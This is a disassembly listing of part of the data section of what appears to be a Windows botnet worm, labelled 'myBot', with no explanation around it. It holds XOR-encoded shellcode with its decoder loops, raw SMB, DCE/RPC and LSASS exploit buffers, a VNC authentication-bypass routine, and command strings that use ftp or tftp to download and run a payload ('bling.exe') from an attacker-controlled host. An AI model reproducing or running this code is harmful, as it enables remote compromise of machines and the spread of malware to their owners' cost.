; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_432352


loc_43238A:				; CODE XREF: sub_432352+29j
		call	sub_43237D


loc_43238F:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_432352
; ---------------------------------------------------------------------------
		dw 0
dword_432394	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323A4	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323A8	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323B4:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323BC
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323BC	dd 0			; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_432424	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327D4	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_4327E8	dd offset aLafler	; DATA XREF: sub_40DCF9+15Do
					; "Lafler"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 8
dword_432828	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░'
		db '░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░',0
dword_432938	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_43293C	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432940	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 8
off_432948	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLallemant+8
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 10h
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 10h
		jmp	short loc_4329C2

; =============== S U B	R O U T	I N E =======================================



sub_4329B2	proc far		; CODE XREF: sub_4329B2:loc_4329C2p
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329BA:				; CODE XREF: sub_4329B2+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329BA
		jmp	short loc_4329C7
; ---------------------------------------------------------------------------


loc_4329C2:				; CODE XREF: ___:004329B0j
		call	near ptr sub_4329B2


loc_4329C7:				; CODE XREF: sub_4329B2+Ej
		jo	short loc_432A2B
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A49
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A2B:				; CODE XREF: sub_4329B2:loc_4329C7j
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A49:				; CODE XREF: sub_4329B2+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329B2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432AF0:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B02

; =============== S U B	R O U T	I N E =======================================



sub_432AF2	proc near		; CODE XREF: sub_432AF2:loc_432B02p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432AFA:				; CODE XREF: sub_432AF2+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432AFA
		jmp	short loc_432B07
; ---------------------------------------------------------------------------


loc_432B02:				; CODE XREF: ___:loc_432AF0j
		call	sub_432AF2


loc_432B07:				; CODE XREF: sub_432AF2+Ej
		jo	short near ptr dword_432A80+1Eh
		cwde
		cdq
		cdq
		retn
sub_432AF2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BA0	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 10h
dword_432DC0	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EA0	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F04	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F70	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_433094	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433128	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_433194	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_433290	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 10h
dword_4332D0	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433408:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433410
; ---------------------------------------------------------------------------
		jmp	short loc_433412
; ---------------------------------------------------------------------------
		align 10h


loc_433410:				; CODE XREF: ___:loc_433408j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_433412:				; CODE XREF: ___:0043340Aj
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_43341C	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433420	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_433424	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 4
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346DC	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 10h
dword_4346E0	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h
		dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h
		dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh
		dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 10h
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 10h
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 4
aList_0		db 'LIST',0
		align 10h
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:004387E8o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:004387F4o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349C4	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
asc_4349EC	db 0Dh,0Ah,0		; DATA XREF: sub_40FAD6+2CFo
					; sub_41AA1E+F5o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40FAD6+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 10h
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 10h
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C0C	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
